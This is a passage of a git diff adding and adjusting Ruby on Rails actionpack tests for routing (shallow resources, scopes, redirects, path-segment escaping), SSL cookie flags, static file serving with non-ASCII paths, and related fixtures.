+ assert_equal '/foo/posts', foo_posts_path
+ assert_equal 'foo/posts#index', @response.body
+
+ get '/foo/posts/1'
+ assert_equal '/foo/posts/1', foo_post_path('1')
+ assert_equal 'foo/posts#show', @response.body
+
+ get '/foo/posts/1/comments'
+ assert_equal '/foo/posts/1/comments', foo_post_comments_path('1')
+ assert_equal 'foo/comments#index', @response.body
+
+ get '/foo/comments/2'
+ assert_equal '/foo/comments/2', bar_comment_path('2')
+ assert_equal 'foo/comments#show', @response.body
+ end
+
def test_namespace_containing_numbers
draw do
namespace :v2 do
@@ -1102,6 +1232,19 @@ class TestRoutingMapper < ActionDispatch::IntegrationTest
assert_equal 'projects#index', @response.body
end
+ def test_scoped_root_as_name
+ draw do
+ scope '(:locale)', :locale => /en|pl/ do
+ root :to => 'projects#index', :as => 'projects'
+ end
+ end
+
+ assert_equal '/en', projects_path(:locale => 'en')
+ assert_equal '/', projects_path
+ get '/en'
+ assert_equal 'projects#index', @response.body
+ end
+
def test_scope_with_format_option
draw do
get "direct/index", as: :no_format_direct, format: false
@@ -1815,6 +1958,60 @@ class TestRoutingMapper < ActionDispatch::IntegrationTest
assert_equal '/comments/3/preview', preview_comment_path(:id => '3')
end
+ def test_shallow_nested_resources_inside_resource
+ draw do
+ resource :membership, shallow: true do
+ resources :cards
+ end
+ end
+
+ get '/membership/cards'
+ assert_equal 'cards#index', @response.body
+ assert_equal '/membership/cards', membership_cards_path
+
+ get '/membership/cards/new'
+ assert_equal 'cards#new', @response.body
+ assert_equal '/membership/cards/new', new_membership_card_path
+
+ post '/membership/cards'
+ assert_equal 'cards#create', @response.body
+
+ get '/cards/1'
+ assert_equal 'cards#show', @response.body
+ assert_equal '/cards/1', card_path('1')
+
+ get '/cards/1/edit'
+ assert_equal 'cards#edit', @response.body
+ assert_equal '/cards/1/edit', edit_card_path('1')
+
+ put '/cards/1'
+ assert_equal 'cards#update', @response.body
+
+ patch '/cards/1'
+ assert_equal 'cards#update', @response.body
+
+ delete '/cards/1'
+ assert_equal 'cards#destroy', @response.body
+ end
+
+ def test_shallow_deeply_nested_resources
+ draw do
+ resources :blogs do
+ resources :posts do
+ resources :comments, shallow: true
+ end
+ end
+ end
+
+ get '/comments/1'
+ assert_equal 'comments#show', @response.body
+
+ assert_equal '/comments/1', comment_path('1')
+ assert_equal '/blogs/new', new_blog_path
+ assert_equal '/blogs/1/posts/new', new_blog_post_path(:blog_id => 1)
+ assert_equal '/blogs/1/posts/2/comments/new', new_blog_post_comment_path(:blog_id => 1, :post_id => 2)
+ end
+
def test_shallow_nested_resources_within_scope
draw do
scope '/hello' do
@@ -1876,6 +2073,65 @@ class TestRoutingMapper < ActionDispatch::IntegrationTest
assert_equal 'notes#destroy', @response.body
end
+ def test_shallow_option_nested_resources_within_scope
+ draw do
+ scope '/hello' do
+ resources :notes, :shallow => true do
+ resources :trackbacks
+ end
+ end
+ end
+
+ get '/hello/notes/1/trackbacks'
+ assert_equal 'trackbacks#index', @response.body
+ assert_equal '/hello/notes/1/trackbacks', note_trackbacks_path(:note_id => 1)
+
+ get '/hello/notes/1/edit'
+ assert_equal 'notes#edit', @response.body
+ assert_equal '/hello/notes/1/edit', edit_note_path(:id => '1')
+
+ get '/hello/notes/1/trackbacks/new'
+ assert_equal 'trackbacks#new', @response.body
+ assert_equal '/hello/notes/1/trackbacks/new', new_note_trackback_path(:note_id => 1)
+
+ get '/hello/trackbacks/1'
+ assert_equal 'trackbacks#show', @response.body
+ assert_equal '/hello/trackbacks/1', trackback_path(:id => '1')
+
+ get '/hello/trackbacks/1/edit'
+ assert_equal 'trackbacks#edit', @response.body
+ assert_equal '/hello/trackbacks/1/edit', edit_trackback_path(:id => '1')
+
+ put '/hello/trackbacks/1'
+ assert_equal 'trackbacks#update', @response.body
+
+ post '/hello/notes/1/trackbacks'
+ assert_equal 'trackbacks#create', @response.body
+
+ delete '/hello/trackbacks/1'
+ assert_equal 'trackbacks#destroy', @response.body
+
+ get '/hello/notes'
+ assert_equal 'notes#index', @response.body
+
+ post '/hello/notes'
+ assert_equal 'notes#create', @response.body
+
+ get '/hello/notes/new'
+ assert_equal 'notes#new', @response.body
+ assert_equal '/hello/notes/new', new_note_path
+
+ get '/hello/notes/1'
+ assert_equal 'notes#show', @response.body
+ assert_equal '/hello/notes/1', note_path(:id => 1)
+
+ put '/hello/notes/1'
+ assert_equal 'notes#update', @response.body
+
+ delete '/hello/notes/1'
+ assert_equal 'notes#destroy', @response.body
+ end
+
def test_custom_resource_routes_are_scoped
draw do
resources :customers do
@@ -2851,6 +3107,224 @@ class TestRoutingMapper < ActionDispatch::IntegrationTest
assert !@request.params[:action].frozen?
end
+ def test_multiple_positional_args_with_the_same_name
+ draw do
+ get '/downloads/:id/:id.tar' => 'downloads#show', as: :download, format: false
+ end
+
+ expected_params = {
+ controller: 'downloads',
+ action: 'show',
+ id: '1'
+ }
+
+ get '/downloads/1/1.tar'
+ assert_equal 'downloads#show', @response.body
+ assert_equal expected_params, @request.symbolized_path_parameters
+ assert_equal '/downloads/1/1.tar', download_path('1')
+ assert_equal '/downloads/1/1.tar', download_path('1', '1')
+ end
+
+ def test_absolute_controller_namespace
+ draw do
+ namespace :foo do
+ get '/', to: '/bar#index', as: 'root'
+ end
+ end
+
+ get '/foo'
+ assert_equal 'bar#index', @response.body
+ assert_equal '/foo', foo_root_path
+ end
+
+ def test_trailing_slash
+ draw do
+ resources :streams
+ end
+
+ get '/streams'
+ assert @response.ok?, 'route without trailing slash should work'
+
+ get '/streams/'
+ assert @response.ok?, 'route with trailing slash should work'
+
+ get '/streams?foobar'
+ assert @response.ok?, 'route without trailing slash and with QUERY_STRING should work'
+
+ get '/streams/?foobar'
+ assert @response.ok?, 'route with trailing slash and with QUERY_STRING should work'
+ end
+
+ def test_route_with_dashes_in_path
+ draw do
+ get '/contact-us', to: 'pages#contact_us'
+ end
+
+ get '/contact-us'
+ assert_equal 'pages#contact_us', @response.body
+ assert_equal '/contact-us', contact_us_path
+ end
+
+ def test_shorthand_route_with_dashes_in_path
+ draw do
+ get '/about-us/index'
+ end
+
+ get '/about-us/index'
+ assert_equal 'about_us#index', @response.body
+ assert_equal '/about-us/index', about_us_index_path
+ end
+
+ def test_resource_routes_with_dashes_in_path
+ draw do
+ resources :photos, only: [:show] do
+ get 'user-favorites', on: :collection
+ get 'preview-photo', on: :member
+ get 'summary-text'
+ end
+ end
+
+ get '/photos/user-favorites'
+ assert_equal 'photos#user_favorites', @response.body
+ assert_equal '/photos/user-favorites', user_favorites_photos_path
+
+ get '/photos/1/preview-photo'
+ assert_equal 'photos#preview_photo', @response.body
+ assert_equal '/photos/1/preview-photo', preview_photo_photo_path('1')
+
+ get '/photos/1/summary-text'
+ assert_equal 'photos#summary_text', @response.body
+ assert_equal '/photos/1/summary-text', photo_summary_text_path('1')
+
+ get '/photos/1'
+ assert_equal 'photos#show', @response.body
+ assert_equal '/photos/1', photo_path('1')
+ end
+
+ def test_shallow_path_inside_namespace_is_not_added_twice
+ draw do
+ namespace :admin do
+ shallow do
+ resources :posts do
+ resources :comments
+ end
+ end
+ end
+ end
+
+ get '/admin/posts/1/comments'
+ assert_equal 'admin/comments#index', @response.body
+ assert_equal '/admin/posts/1/comments', admin_post_comments_path('1')
+ end
+
+ def test_shallow_path_and_prefix_are_not_added_to_non_shallow_routes
+ draw do
+ scope shallow_path: 'projects', shallow_prefix: 'project' do
+ resources :projects do
+ resources :files, controller: 'project_files', shallow: true
+ end
+ end
+ end
+
+ get '/projects'
+ assert_equal 'projects#index', @response.body
+ assert_equal '/projects', projects_path
+
+ get '/projects/new'
+ assert_equal 'projects#new', @response.body
+ assert_equal '/projects/new', new_project_path
+
+ post '/projects'
+ assert_equal 'projects#create', @response.body
+
+ get '/projects/1'
+ assert_equal 'projects#show', @response.body
+ assert_equal '/projects/1', project_path('1')
+
+ get '/projects/1/edit'
+ assert_equal 'projects#edit', @response.body
+ assert_equal '/projects/1/edit', edit_project_path('1')
+
+ patch '/projects/1'
+ assert_equal 'projects#update', @response.body
+
+ delete '/projects/1'
+ assert_equal 'projects#destroy', @response.body
+
+ get '/projects/1/files'
+ assert_equal 'project_files#index', @response.body
+ assert_equal '/projects/1/files', project_files_path('1')
+
+ get '/projects/1/files/new'
+ assert_equal 'project_files#new', @response.body
+ assert_equal '/projects/1/files/new', new_project_file_path('1')
+
+ post '/projects/1/files'
+ assert_equal 'project_files#create', @response.body
+
+ get '/projects/files/2'
+ assert_equal 'project_files#show', @response.body
+ assert_equal '/projects/files/2', project_file_path('2')
+
+ get '/projects/files/2/edit'
+ assert_equal 'project_files#edit', @response.body
+ assert_equal '/projects/files/2/edit', edit_project_file_path('2')
+
+ patch '/projects/files/2'
+ assert_equal 'project_files#update', @response.body
+
+ delete '/projects/files/2'
+ assert_equal 'project_files#destroy', @response.body
+ end
+
+ def test_scope_path_is_copied_to_shallow_path
+ draw do
+ scope path: 'foo' do
+ resources :posts do
+ resources :comments, shallow: true
+ end
+ end
+ end
+
+ assert_equal '/foo/comments/1', comment_path('1')
+ end
+
+ def test_scope_as_is_copied_to_shallow_prefix
+ draw do
+ scope as: 'foo' do
+ resources :posts do
+ resources :comments, shallow: true
+ end
+ end
+ end
+
+ assert_equal '/comments/1', foo_comment_path('1')
+ end
+
+ def test_scope_shallow_prefix_is_not_overwritten_by_as
+ draw do
+ scope as: 'foo', shallow_prefix: 'bar' do
+ resources :posts do
+ resources :comments, shallow: true
+ end
+ end
+ end
+
+ assert_equal '/comments/1', bar_comment_path('1')
+ end
+
+ def test_scope_shallow_path_is_not_overwritten_by_path
+ draw do
+ scope path: 'foo', shallow_path: 'bar' do
+ resources :posts do
+ resources :comments, shallow: true
+ end
+ end
+ end
+
+ assert_equal '/bar/comments/1', comment_path('1')
+ end
+
private
def draw(&block)
@@ -3122,8 +3596,8 @@ class TestUriPathEscaping < ActionDispatch::IntegrationTest
include Routes.url_helpers
def app; Routes end
- test 'escapes generated path segment' do
- assert_equal '/a%20b/c+d', segment_path(:segment => 'a b/c+d')
+ test 'escapes slash in generated path segment' do
+ assert_equal '/a%20b%2Fc+d', segment_path(:segment => 'a b/c+d')
end
test 'unescapes recognized path segment' do
@@ -3131,7 +3605,7 @@ class TestUriPathEscaping < ActionDispatch::IntegrationTest
assert_equal 'a b/c+d', @response.body
end
- test 'escapes generated path splat' do
+ test 'does not escape slash in generated path splat' do
assert_equal '/a%20b/c+d', splat_path(:splat => 'a b/c+d')
end
@@ -3222,7 +3696,9 @@ class TestRedirectInterpolation < ActionDispatch::IntegrationTest
get "/foo/:id" => redirect("/foo/bar/%{id}")
get "/bar/:id" => redirect(:path => "/foo/bar/%{id}")
+ get "/baz/:id" => redirect("/baz?id=%{id}&foo=?&bar=1#id-%{id}")
get "/foo/bar/:id" => ok
+ get "/baz" => ok
end
end
@@ -3238,6 +3714,14 @@ class TestRedirectInterpolation < ActionDispatch::IntegrationTest
verify_redirect "http://www.example.com/foo/bar/1%3E"
end
+ test "path redirect escapes interpolated parameters correctly" do
+ get "/foo/1%201"
+ verify_redirect "http://www.example.com/foo/bar/1%201"
+
+ get "/baz/1%201"
+ verify_redirect "http://www.example.com/baz?id=1+1&foo=?&bar=1#id-1%201"
+ end
+
private
def verify_redirect(url, status=301)
assert_equal status, @response.status
@@ -3304,6 +3788,10 @@ class TestOptimizedNamedRoutes < ActionDispatch::IntegrationTest
ok = lambda { |env| [200, { 'Content-Type' => 'text/plain' }, []] }
get '/foo' => ok, as: :foo
get '/post(/:action(/:id))' => ok, as: :posts
+ get '/:foo/:foo_type/bars/:id' => ok, as: :bar
+ get '/projects/:id.:format' => ok, as: :project
+ get '/pages/:id' => ok, as: :page
+ get '/wiki/*page' => ok, as: :wiki
end
end
@@ -3326,6 +3814,36 @@ class TestOptimizedNamedRoutes < ActionDispatch::IntegrationTest
assert_equal '/post', Routes.url_helpers.posts_path
assert_equal '/post', posts_path
end
+
+ test 'segments with same prefix are replaced correctly' do
+ assert_equal '/foo/baz/bars/1', Routes.url_helpers.bar_path('foo', 'baz', '1')
+ assert_equal '/foo/baz/bars/1', bar_path('foo', 'baz', '1')
+ end
+
+ test 'segments separated with a period are replaced correctly' do
+ assert_equal '/projects/1.json', Routes.url_helpers.project_path(1, :json)
+ assert_equal '/projects/1.json', project_path(1, :json)
+ end
+
+ test 'segments with question marks are escaped' do
+ assert_equal '/pages/foo%3Fbar', Routes.url_helpers.page_path('foo?bar')
+ assert_equal '/pages/foo%3Fbar', page_path('foo?bar')
+ end
+
+ test 'segments with slashes are escaped' do
+ assert_equal '/pages/foo%2Fbar', Routes.url_helpers.page_path('foo/bar')
+ assert_equal '/pages/foo%2Fbar', page_path('foo/bar')
+ end
+
+ test 'glob segments with question marks are escaped' do
+ assert_equal '/wiki/foo%3Fbar', Routes.url_helpers.wiki_path('foo?bar')
+ assert_equal '/wiki/foo%3Fbar', wiki_path('foo?bar')
+ end
+
+ test 'glob segments with slashes are not escaped' do
+ assert_equal '/wiki/foo/bar', Routes.url_helpers.wiki_path('foo/bar')
+ assert_equal '/wiki/foo/bar', wiki_path('foo/bar')
+ end
end
class TestNamedRouteUrlHelpers < ActionDispatch::IntegrationTest
@@ -3635,3 +4153,81 @@ class TestRouteDefaults < ActionDispatch::IntegrationTest
assert_equal '/projects/1', url_for(controller: 'projects', action: 'show', id: 1, only_path: true)
end
end
+
+class TestRackAppRouteGeneration < ActionDispatch::IntegrationTest
+ stub_controllers do |routes|
+ Routes = routes
+ Routes.draw do
+ rack_app = lambda { |env| [200, { 'Content-Type' => 'text/plain' }, []] }
+ mount rack_app, at: '/account', as: 'account'
+ mount rack_app, at: '/:locale/account', as: 'localized_account'
+ end
+ end
+
+ def app
+ Routes
+ end
+
+ include Routes.url_helpers
+
+ def test_mounted_application_doesnt_match_unnamed_route
+ assert_raise(ActionController::UrlGenerationError) do
+ assert_equal '/account?controller=products', url_for(controller: 'products', action: 'index', only_path: true)
+ end
+
+ assert_raise(ActionController::UrlGenerationError) do
+ assert_equal '/de/account?controller=products', url_for(controller: 'products', action: 'index', :locale => 'de', only_path: true)
+ end
+ end
+end
+
+class TestRedirectRouteGeneration < ActionDispatch::IntegrationTest
+ stub_controllers do |routes|
+ Routes = routes
+ Routes.draw do
+ get '/account', to: redirect('/myaccount'), as: 'account'
+ get '/:locale/account', to: redirect('/%{locale}/myaccount'), as: 'localized_account'
+ end
+ end
+
+ def app
+ Routes
+ end
+
+ include Routes.url_helpers
+
+ def test_redirect_doesnt_match_unnamed_route
+ assert_raise(ActionController::UrlGenerationError) do
+ assert_equal '/account?controller=products', url_for(controller: 'products', action: 'index', only_path: true)
+ end
+
+ assert_raise(ActionController::UrlGenerationError) do
+ assert_equal '/de/account?controller=products', url_for(controller: 'products', action: 'index', :locale => 'de', only_path: true)
+ end
+ end
+end
+
+class TestUrlGenerationErrors < ActionDispatch::IntegrationTest
+ Routes = ActionDispatch::Routing::RouteSet.new.tap do |app|
+ app.draw do
+ get "/products/:id" => 'products#show', :as => :product
+ end
+ end
+
+ def app; Routes end
+
+ include Routes.url_helpers
+
+ test "url helpers raise a helpful error message whem generation fails" do
+ url, missing = { action: 'show', controller: 'products', id: nil }, [:id]
+ message = "No route matches #{url.inspect} missing required keys: #{missing.inspect}"
+
+ # Optimized url helper
+ error = assert_raises(ActionController::UrlGenerationError){ product_path(nil) }
+ assert_equal message, error.message
+
+ # Non-optimized url helper
+ error = assert_raises(ActionController::UrlGenerationError, message){ product_path(id: nil) }
+ assert_equal message, error.message
+ end
+end
diff --git a/actionpack/test/dispatch/session/mem_cache_store_test.rb b/actionpack/test/dispatch/session/mem_cache_store_test.rb
index e53ce4195b..92544230b2 100644
--- a/actionpack/test/dispatch/session/mem_cache_store_test.rb
+++ b/actionpack/test/dispatch/session/mem_cache_store_test.rb
@@ -1,4 +1,5 @@
require 'abstract_unit'
+require 'securerandom'
# You need to start a memcached server inorder to run these tests
class MemCacheStoreTest < ActionDispatch::IntegrationTest
@@ -172,7 +173,7 @@ class MemCacheStoreTest < ActionDispatch::IntegrationTest
end
@app = self.class.build_app(set) do |middleware|
- middleware.use ActionDispatch::Session::MemCacheStore, :key => '_session_id'
+ middleware.use ActionDispatch::Session::MemCacheStore, :key => '_session_id', :namespace => "mem_cache_store_test:#{SecureRandom.hex(10)}"
middleware.delete "ActionDispatch::ShowExceptions"
end
diff --git a/actionpack/test/dispatch/ssl_test.rb b/actionpack/test/dispatch/ssl_test.rb
index 61b55f3d82..c3598c5e8e 100644
--- a/actionpack/test/dispatch/ssl_test.rb
+++ b/actionpack/test/dispatch/ssl_test.rb
@@ -124,6 +124,35 @@ class SSLTest < ActionDispatch::IntegrationTest
response.headers['Set-Cookie'].split("\n")
end
+
+ def test_flag_cookies_as_secure_with_has_not_spaces_before
+ self.app = ActionDispatch::SSL.new(lambda { |env|
+ headers = {
+ 'Content-Type' => "text/html",
+ 'Set-Cookie' => "problem=def; path=/;secure; HttpOnly"
+ }
+ [200, headers, ["OK"]]
+ })
+
+ get "https://example.org/"
+ assert_equal ["problem=def; path=/;secure; HttpOnly"],
+ response.headers['Set-Cookie'].split("\n")
+ end
+
+ def test_flag_cookies_as_secure_with_has_not_spaces_after
+ self.app = ActionDispatch::SSL.new(lambda { |env|
+ headers = {
+ 'Content-Type' => "text/html",
+ 'Set-Cookie' => "problem=def; path=/; secure;HttpOnly"
+ }
+ [200, headers, ["OK"]]
+ })
+
+ get "https://example.org/"
+ assert_equal ["problem=def; path=/; secure;HttpOnly"],
+ response.headers['Set-Cookie'].split("\n")
+ end
+
def test_flag_cookies_as_secure_with_ignore_case
self.app = ActionDispatch::SSL.new(lambda { |env|
headers = {
@@ -167,6 +196,13 @@ class SSLTest < ActionDispatch::IntegrationTest
response.headers['Location']
end
+ def test_redirect_to_host_with_port
+ self.app = ActionDispatch::SSL.new(default_app, :host => "ssl.example.org:443")
+ get "http://example.org/path?key=value"
+ assert_equal "https://ssl.example.org:443/path?key=value",
+ response.headers['Location']
+ end
+
def test_redirect_to_secure_host_when_on_subdomain
self.app = ActionDispatch::SSL.new(default_app, :host => "ssl.example.org")
get "http://ssl.example.org/path?key=value"
diff --git a/actionpack/test/dispatch/static_test.rb b/actionpack/test/dispatch/static_test.rb
index 112f470786..afdda70748 100644
--- a/actionpack/test/dispatch/static_test.rb
+++ b/actionpack/test/dispatch/static_test.rb
@@ -37,6 +37,8 @@ module StaticTests
end
def test_served_static_file_with_non_english_filename
+ jruby_skip "Stop skipping if following bug gets fixed: " \
+ "http://jira.codehaus.org/browse/JRUBY-7192"
assert_html "means hello in Japanese\n", get("/foo/#{Rack::Utils.escape("こんにちは.html")}")
end
@@ -133,11 +135,16 @@ module StaticTests
end
def with_static_file(file)
- path = "#{FIXTURE_LOAD_PATH}/public" + file
- File.open(path, "wb+") { |f| f.write(file) }
+ path = "#{FIXTURE_LOAD_PATH}/#{public_path}" + file
+ begin
+ File.open(path, "wb+") { |f| f.write(file) }
+ rescue Errno::EPROTO
+ skip "Couldn't create a file #{path}"
+ end
+
yield file
ensure
- File.delete(path)
+ File.delete(path) if File.exist? path
end
end
@@ -145,11 +152,24 @@ class StaticTest < ActiveSupport::TestCase
DummyApp = lambda { |env|
[200, {"Content-Type" => "text/plain"}, ["Hello, World!"]]
}
- App = ActionDispatch::Static.new(DummyApp, "#{FIXTURE_LOAD_PATH}/public", "public, max-age=60")
def setup
- @app = App
+ @app = ActionDispatch::Static.new(DummyApp, "#{FIXTURE_LOAD_PATH}/public", "public, max-age=60")
+ end
+
+ def public_path
+ "public"
end
include StaticTests
end
+
+class StaticEncodingTest < StaticTest
+ def setup
+ @app = ActionDispatch::Static.new(DummyApp, "#{FIXTURE_LOAD_PATH}/公共", "public, max-age=60")
+ end
+
+ def public_path
+ "公共"
+ end
+end
diff --git a/actionpack/test/dispatch/test_request_test.rb b/actionpack/test/dispatch/test_request_test.rb
index 3db862c810..65ad8677f3 100644
--- a/actionpack/test/dispatch/test_request_test.rb
+++ b/actionpack/test/dispatch/test_request_test.rb
@@ -62,6 +62,36 @@ class TestRequestTest < ActiveSupport::TestCase
assert_equal false, req.env.empty?
end
+ test "default remote address is 0.0.0.0" do
+ req = ActionDispatch::TestRequest.new
+ assert_equal '0.0.0.0', req.remote_addr
+ end
+
+ test "allows remote address to be overridden" do
+ req = ActionDispatch::TestRequest.new('REMOTE_ADDR' => '127.0.0.1')
+ assert_equal '127.0.0.1', req.remote_addr
+ end
+
+ test "default host is test.host" do
+ req = ActionDispatch::TestRequest.new
+ assert_equal 'test.host', req.host
+ end
+
+ test "allows host to be overridden" do
+ req = ActionDispatch::TestRequest.new('HTTP_HOST' => 'www.example.com')
+ assert_equal 'www.example.com', req.host
+ end
+
+ test "default user agent is 'Rails Testing'" do
+ req = ActionDispatch::TestRequest.new
+ assert_equal 'Rails Testing', req.user_agent
+ end
+
+ test "allows user agent to be overridden" do
+ req = ActionDispatch::TestRequest.new('HTTP_USER_AGENT' => 'GoogleBot')
+ assert_equal 'GoogleBot', req.user_agent
+ end
+
private
def assert_cookies(expected, cookie_jar)
assert_equal(expected, cookie_jar.instance_variable_get("@cookies"))
diff --git a/actionpack/test/dispatch/uploaded_file_test.rb b/actionpack/test/dispatch/uploaded_file_test.rb
index 72f3d1db0d..9f6381f118 100644
--- a/actionpack/test/dispatch/uploaded_file_test.rb
+++ b/actionpack/test/dispatch/uploaded_file_test.rb
@@ -33,6 +33,12 @@ module ActionDispatch
assert_equal 'foo', uf.tempfile
end
+ def test_to_io_returns_the_tempfile
+ tf = Object.new
+ uf = Http::UploadedFile.new(:tempfile => tf)
+ assert_equal tf, uf.to_io
+ end
+
def test_delegates_path_to_tempfile
tf = Class.new { def path; 'thunderhorse' end }
uf = Http::UploadedFile.new(:tempfile => tf.new)
diff --git a/actionpack/test/dispatch/url_generation_test.rb b/actionpack/test/dispatch/url_generation_test.rb
index f919592d24..fdea27e2d2 100644
--- a/actionpack/test/dispatch/url_generation_test.rb
+++ b/actionpack/test/dispatch/url_generation_test.rb
@@ -66,7 +66,7 @@ module TestUrlGeneration
assert_equal "http://www.example.com:8080/foo", foo_url(host: "www.example.com:8080", protocol: "http://")
end
- test "port option overides the host" do
+ test "port option overrides the host" do
assert_equal "http://www.example.com:8080/foo", foo_url(host: "www.example.com:8443", protocol: "http://", port: 8080)
end
diff --git a/actionpack/test/fixtures/functional_caching/formatted_fragment_cached_with_variant.html+phone.erb b/actionpack/test/fixtures/functional_caching/formatted_fragment_cached_with_variant.html+phone.erb
new file mode 100644
index 0000000000..e523b74ae3
--- /dev/null
+++ b/actionpack/test/fixtures/functional_caching/formatted_fragment_cached_with_variant.html+phone.erb
@@ -0,0 +1,3 @@
+<body>
+<%= cache do %><p>PHONE</p><% end %>
+</body>
diff --git a/actionpack/test/fixtures/helpers/abc_helper.rb b/actionpack/test/fixtures/helpers/abc_helper.rb
index 7104ff3730..cf2774bb5f 100644
--- a/actionpack/test/fixtures/helpers/abc_helper.rb
+++ b/actionpack/test/fixtures/helpers/abc_helper.rb
@@ -1,5 +1,3 @@
module AbcHelper
def bare_a() end
- def bare_b() end
- def bare_c() end
end
diff --git a/actionpack/test/fixtures/layout_tests/layouts/symlinked b/actionpack/test/fixtures/layout_tests/layouts/symlinked
deleted file mode 120000
index 0ddc1154ab..0000000000
--- a/actionpack/test/fixtures/layout_tests/layouts/symlinked
+++ /dev/null
@@ -1 +0,0 @@
-../../symlink_parent \ No newline at end of file
diff --git a/actionpack/test/fixtures/localized/hello_world.it.erb b/actionpack/test/fixtures/localized/hello_world.it.erb
new file mode 100644
index 0000000000..9191fdc187
--- /dev/null
+++ b/actionpack/test/fixtures/localized/hello_world.it.erb
@@ -0,0 +1 @@
+Ciao Mondo \ No newline at end of file
diff --git a/actionpack/test/fixtures/respond_to/variant_any_implicit_render.html+phablet.erb b/actionpack/test/fixtures/respond_to/variant_any_implicit_render.html+phablet.erb
new file mode 100644
index 0000000000..e905d051bf
--- /dev/null
+++ b/actionpack/test/fixtures/respond_to/variant_any_implicit_render.html+phablet.erb
@@ -0,0 +1 @@
+phablet \ No newline at end of file
diff --git a/actionpack/test/fixtures/respond_to/variant_any_implicit_render.html+tablet.erb b/actionpack/test/fixtures/respond_to/variant_any_implicit_render.html+tablet.erb
new file mode 100644
index 0000000000..65526af8cf
--- /dev/null
+++ b/actionpack/test/fixtures/respond_to/variant_any_implicit_render.html+tablet.erb
@@ -0,0 +1 @@
+tablet \ No newline at end of file
diff --git a/actionpack/test/fixtures/respond_to/variant_inline_syntax_without_block.html+phone.erb b/actionpack/test/fixtures/respond_to/variant_inline_syntax_without_block.html+phone.erb
new file mode 100644
index 0000000000..cd222a4a49
--- /dev/null
+++ b/actionpack/test/fixtures/respond_to/variant_inline_syntax_without_block.html+phone.erb
@@ -0,0 +1 @@
+phone \ No newline at end of file
diff --git a/actionpack/test/fixtures/respond_to/variant_plus_none_for_format.html.erb b/actionpack/test/fixtures/respond_to/variant_plus_none_for_format.html.erb
new file mode 100644
index 0000000000..c86c3f3551
--- /dev/null
+++ b/actionpack/test/fixtures/respond_to/variant_plus_none_for_format.html.erb
@@ -0,0 +1 @@
+none \ No newline at end of file
diff --git a/actionpack/test/fixtures/respond_to/variant_with_implicit_rendering.html+mobile.erb b/actionpack/test/fixtures/respond_to/variant_with_implicit_rendering.html+mobile.erb
new file mode 100644
index 0000000000..317801ad30
--- /dev/null
+++ b/actionpack/test/fixtures/respond_to/variant_with_implicit_rendering.html+mobile.erb
@@ -0,0 +1 @@
+mobile \ No newline at end of file
diff --git a/actionpack/test/fixtures/layout_tests/alt/layouts/alt.erb b/actionpack/test/fixtures/respond_with/respond_with_additional_params.html.erb
index e69de29bb2..e69de29bb2 100644
--- a/actionpack/test/fixtures/layout_tests/alt/layouts/alt.erb
+++ b/actionpack/test/fixtures/respond_with/respond_with_additional_params.html.erb
diff --git a/actionpack/test/fixtures/公共/foo/bar.html b/actionpack/test/fixtures/公共/foo/bar.html
new file mode 100644
index 0000000000..9a35646205
--- /dev/null
+++ b/actionpack/test/fixtures/公共/foo/bar.html
@@ -0,0 +1 @@
+/foo/bar.html \ No newline at end of file
diff --git a/actionpack/test/fixtures/公共/foo/baz.css b/actionpack/test/fixtures/公共/foo/baz.css
new file mode 100644
index 0000000000..b5173fbef2
--- /dev/null
+++ b/actionpack/test/fixtures/公共/foo/baz.css
@@ -0,0 +1,3 @@
+body {
+background: #000;
+}
diff --git a/actionpack/test/fixtures/公共/foo/index.html b/actionpack/test/fixtures/公共/foo/index.html
new file mode 100644
index 0000000000..497a2e898f
--- /dev/null
+++ b/actionpack/test/fixtures/公共/foo/index.html
@@ -0,0 +1 @@
+/foo/index.html \ No newline at end of file
diff --git a/actionpack/test/fixtures/公共/foo/こんにちは.html b/actionpack/test/fixtures/公共/foo/こんにちは.html
new file mode 100644
index 0000000000..1df9166522
--- /dev/null
+++ b/actionpack/test/fixtures/公共/foo/こんにちは.html
@@ -0,0 +1 @@
+means hello in Japanese
diff --git a/actionpack/test/fixtures/公共/index.html b/actionpack/test/fixtures/公共/index.html
new file mode 100644
index 0000000000..525950ba6b
--- /dev/null
+++ b/actionpack/test/fixtures/公共/index.html
@@ -0,0 +1 @@
+/index.html \ No newline at end of file
diff --git a/actionpack/test/journey/gtg/transition_table_test.rb b/actionpack/test/journey/gtg/transition_table_test.rb
index 33acba8b65..b968780d8d 100644
--- a/actionpack/test/journey/gtg/transition_table_test.rb
+++ b/actionpack/test/journey/gtg/transition_table_test.rb
@@ -1,5 +1,5 @@
require 'abstract_unit'
-require 'json'
+require 'active_support/json/decoding'
module ActionDispatch
module Journey
@@ -13,7 +13,7 @@ module ActionDispatch
/articles/:id(.:format)
}
- json = JSON.load table.to_json
+ json = ActiveSupport::JSON.decode table.to_json
assert json['regexp_states']
assert json['string_states']
assert json['accepting']
diff --git a/actionpack/test/journey/router/utils_test.rb b/actionpack/test/journey/router/utils_test.rb
index 057dc40cca..584fd56a5c 100644
--- a/actionpack/test/journey/router/utils_test.rb
+++ b/actionpack/test/journey/router/utils_test.rb
@@ -5,16 +5,28 @@ module ActionDispatch
class Router
class TestUtils < ActiveSupport::TestCase
def test_path_escape
- assert_equal "a/b%20c+d", Utils.escape_path("a/b c+d")
+ assert_equal "a/b%20c+d%25", Utils.escape_path("a/b c+d%")
+ end
+
+ def test_segment_escape
+ assert_equal "a%2Fb%20c+d%25", Utils.escape_segment("a/b c+d%")
end
def test_fragment_escape
- assert_equal "a/b%20c+d?e", Utils.escape_fragment("a/b c+d?e")
+ assert_equal "a/b%20c+d%25?e", Utils.escape_fragment("a/b c+d%?e")
end
def test_uri_unescape
assert_equal "a/b c+d", Utils.unescape_uri("a%2Fb%20c+d")
end
+
+ def test_normalize_path_not_greedy
+ assert_equal "/foo%20bar%20baz", Utils.normalize_path("/foo%20bar%20baz")
+ end
+
+ def test_normalize_path_uppercase
+ assert_equal "/foo%AAbar%AAbaz", Utils.normalize_path("/foo%aabar%aabaz")
+ end
end
end
end
diff --git a/actionpack/test/journey/router_test.rb b/actionpack/test/journey/router_test.rb
index 3d52b2e9ee..e54b64e0f3 100644
--- a/actionpack/test/journey/router_test.rb
+++ b/actionpack/test/journey/router_test.rb
@@ -4,9 +4,13 @@ require 'abstract_unit'
module ActionDispatch
module Journey
class TestRouter < ActiveSupport::TestCase
+ # TODO : clean up routing tests so we don't need this hack
+ class StubDispatcher < Routing::RouteSet::Dispatcher; end
+
attr_reader :routes
def setup
+ @app = StubDispatcher.new
@routes = Routes.new
@router = Router.new(@routes, {})
@formatter = Formatter.new(@routes)
@@ -306,7 +310,7 @@ module ActionDispatch
def test_nil_path_parts_are_ignored
